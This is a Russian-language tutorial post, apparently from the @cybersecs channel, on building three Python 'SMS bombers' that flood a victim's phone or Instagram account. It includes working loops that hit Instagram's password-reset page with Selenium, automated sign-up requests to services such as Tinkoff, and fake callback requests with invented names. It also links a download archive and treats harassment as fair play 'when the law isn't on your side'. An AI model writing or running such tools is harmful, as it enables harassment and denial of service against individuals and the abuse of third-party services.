Пишем 3 SMS бомбера на Python 3.8
Идеальных людей нет, как нет и идеальных сервисов в интернете. В этой статье мы рассмотрим проблемы с известными сервисами и то, как злоумышленники используют их в корыстных целях. Мы надеемся, что описанные в статье сервисы примут к сведению то, о чем мы пишем.
Иногда в жизни случаются ситуации, когда хочется действовать активно, но закон не на твоей стороне. Понять и простить – это понятно. Но если руки все же чешутся – на помощь нам придет Python и немного смекалки. В этой статье мы разберём примеры написания бомберов на питоне, не волнуйтесь ссылки на код будут внизу поста.
Начнем с использования selenium так, как это самый простой способ для примера, если кратко то мы будем указывать браузеру что нужно сделать, но перед этим необходимо установить geckodriver, ссылка ниже:
https://www.youtube.com/watch?v=KNzGtHI_60o
# Импортируем библиотеки (pip install selenium если он не установлен) from selenium import webdriver import time # Логотип logo = r''' ____ ___ ___ __ __ ____ U _____ u ____ U | __")u / _"\ u / _"\ uU|' \/ '|uU | __")u\| ___"|/U | _"\ u \| _ \/| / U |/ | / U |/ \| |\/| |/ \| _ \/ | _|" \| |_) |/ | |_) || \// |,-.| \// |,-.| | | | | |_) | | |___ | _ < |____/ \___/(_/ \___/(_/ |_| |_| |____/ |_____| |_| \_\ _|| \\_ // // <<,-,,-. _|| \\_ << >> // \\_ (__) (__) (__) (__) (./ \.) (__) (__)(__) (__) (__) (__) by FARBER for @cybersecs 1 of 3 '''
# Просим ввести номер phoneNum = input('Введите номер телефона/username пользователя Instagram: ') # Делаем окно невидимым os.environ['MOZ_HEADLESS'] = '1' # Создаем вебдрайвер browser = webdriver.Firefox() # Частота отправки смс frequency = 10
Как работает selenium
Функцией browser.find_element_by_name(‘cppEmailOrUsername‘) мы ищем в коде странницы после name=cppEmailOrUsername, функцией browser.find_element_by_tag_name(‘button’) – type=”button”
Остальной код:
for i in range(frequency): # Ссылка на восстановление доступа к аккаунту browser.get('https://www.instagram.com/accounts/password/reset/?hl=ru') # Поле для ввода номера/почты/username number = browser.find_element_by_name('cppEmailOrUsername') # Selenium введет номер/почту/username number.send_keys(str(phoneNum)) # Ждем 1 секунду time.sleep(1) # Ищем кнопку на которую нужно нажать (она там всего одна :) ) forgot = browser.find_element_by_tag_name('button') # Нажимаем на кнопку forgot.click() # Интервал между смс time.sleep(10) # Закрываем браузер browser.quit()
Как вы видете мы будем “эксплуатировать” Instagram, для этого нам даже не нужно будет знать номер телефона, ведь можно использовать почту или username.
Перейдем ко второму способу
В этом случае мы будем посылать запросы через request:
import requests, random logo = r''' ____ ___ ___ __ __ ____ U _____ u ____ U | __")u / _"\ u / _"\ uU|' \/ '|uU | __")u\| ___"|/U | _"\ u \| _ \/| / U |/ | / U |/ \| |\/| |/ \| _ \/ | _|" \| |_) |/ | |_) || \// |,-.| \// |,-.| | | | | |_) | | |___ | _ < |____/ \___/(_/ \___/(_/ |_| |_| |____/ |_____| |_| \_\ _|| \\_ // // <<,-,,-. _|| \\_ << >> // \\_ (__) (__) (__) (__) (./ \.) (__) (__)(__) (__) (__) (__) by FARBER for @cybersecs 2 of 3 ''' print(logo) # Просим ввести номер _phone = input(' Введите номер телефона (79xxxxxxxxx)-->> ')
# Делаем переменные которые будут хранить в себе случайные значения _name = '' for x in range(12): _name = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) password = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) username = _name + random.choice(list('123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')) _phone9 = _phone[1:] _phoneAresBank = '+'+_phone[0]+'('+_phone[1:4]+')'+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] _phone9dostavista = _phone9[:3]+'+'+_phone9[3:6]+'-'+_phone9[6:8]+'-'+_phone9[8:10] _phoneOstin = '+'+_phone[0]+'+('+_phone[1:4]+')'+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] _phonePizzahut = '+'+_phone[0]+' ('+_phone[1:4]+') '+_phone[4:7]+' '+_phone[7:9]+' '+_phone[9:11] _phoneGorzdrav = _phone[1:4]+') '+_phone[4:7]+'-'+_phone[7:9]+'-'+_phone[9:11] # Количество "кругов" iteration = 0 # Цикл в котором мы будем отправлять смс while True: _email = _name+f'{iteration}'+'@gmail.com' email = _name+f'{iteration}'+'@gmail.com'
Мы рассмотрим лишь один запрос, потому что их слишком много, остальные вы сможете разобрать сами в исходниках проекта.
try: # Посылаем запрос, в котором мы будем хранить номер телефона requests.post('https://api.tinkoff.ru/v1/sign_up', data={'phone': '+'+_phone}, headers={}) # Печатаем что все отправилось успешно print('[+] Tinkoff отправлено!') except Exception as ex: # Если появилась ошибка (ex), мы ее выедем print('[-] Tinkoff не отправлено!' + str(ex))
В конце пишем это:
try:
iteration += 1
print(('{} круг пройден.').format(iteration))
except:
break
Время перейти к третьему и последнему бомберу
Суть бомбера в том, что мы оставляем заявки на разных сайтах с просьбой перезвонить нам на номер.
# Импортируем библиотеки import requests, datetime, random, transliterate from colorama import Fore # Переменная с текущей датой truedata = str(datetime.datetime.today()) truedata = truedata.split(' ')[0] # Переменные с именами и фамилиями names = ('Алексей', 'Иван', 'Константин', 'Петр', 'Семен', 'Матвей', 'Станислав', 'Владимир', 'Олег', 'Сергей') surnames = ( 'Иванов', 'Смирнов', 'Кузнецов', 'Попов', 'Васильев', 'Петров', 'Соколов', 'Михайлов', 'Новиков', 'Фёдоров', 'Морозов', 'Волков') patronymics = ( 'Богданович', 'Маркович', 'Олегович', 'Глебович', 'Александрович', 'Дмитриевич', 'Егорович', 'Георгиевич', 'Львович', 'Кириллович') # Переменные со случайными значениями randomemail = transliterate.translit(random.choice(names), reversed=True) + transliterate.translit(random.choice(surnames), reversed=True) + '@gmail.com' randompassword = transliterate.translit(random.choice(names), reversed=True) + transliterate.translit(random.choice(surnames), reversed=True) randomtimezone = int(random.random() * 10) randomzaim = int((random.random() * 10) + 10) randomid6 = str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) + str(random.randint(1, 9)) # Переменная с той самой "просьбой" перезвонить нам problem = 'Здравствуйте, у меня есть проблема'
Главная функция с логотипом и отправкой запросов:
def main():
logo = r'''
____ ___ ___ __ __ ____ U _____ u ____
U | __")u / _"\ u / _"\ uU|' \/ '|uU | __")u\| ___"|/U | _"\ u
\| _ \/| / U |/ | / U |/ \| |\/| |/ \| _ \/ | _|" \| |_) |/
| |_) || \// |,-.| \// |,-.| | | | | |_) | | |___ | _ <
|____/ \___/(_/ \___/(_/ |_| |_| |____/ |_____| |_| \_\
_|| \\_ // // <<,-,,-. _|| \\_ << >> // \\_
(__) (__) (__) (__) (./ \.) (__) (__)(__) (__) (__) (__)
by FARBER for @cybersecs
3 of 3
'''
print(logo)
phoneNum = input('Номер телефона: ')
name = input('Имя: ')
Опять же с целью экономии времени я разберу только один из запросов:
try: # Запрос содержит имя, телефон и действие callme requests.post('https://junker.kiev.ua/postmaster.php', data={'name': name, 'tel': phoneNum, 'action': 'callme'}) # Выводим сообщение о том что все прошло успешно # Fore.GREEN значит что текст будет зеленым print(Fore.GREEN + 'Вам позвонят, ждите!') exception: # Если появилась ошибка (ex), мы ее выедем print(Fore.RED + '[-] Запрос не был отправлен!' + str(ex))
В конце пишем:
print('Готово!') # Запускаем нашу функцию отправки запросов if __name__ == '__main__': main()
Заключение
Ссылка на бомберы: https://anonfiles.com/94VbI5jaoe/boombers_rar
Или в телеграм канале @cybersecs
Помните что все что вы делаете, вы совершаете на свой страх и риск, мы не несем ответственности за ВАШИ поступки!
Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники.
Остановить эту свингер-пати невозможно. Но мы научим предохраняться.
Следите за новостями на нашем канале @cybersecs или на сайте
cybersec.org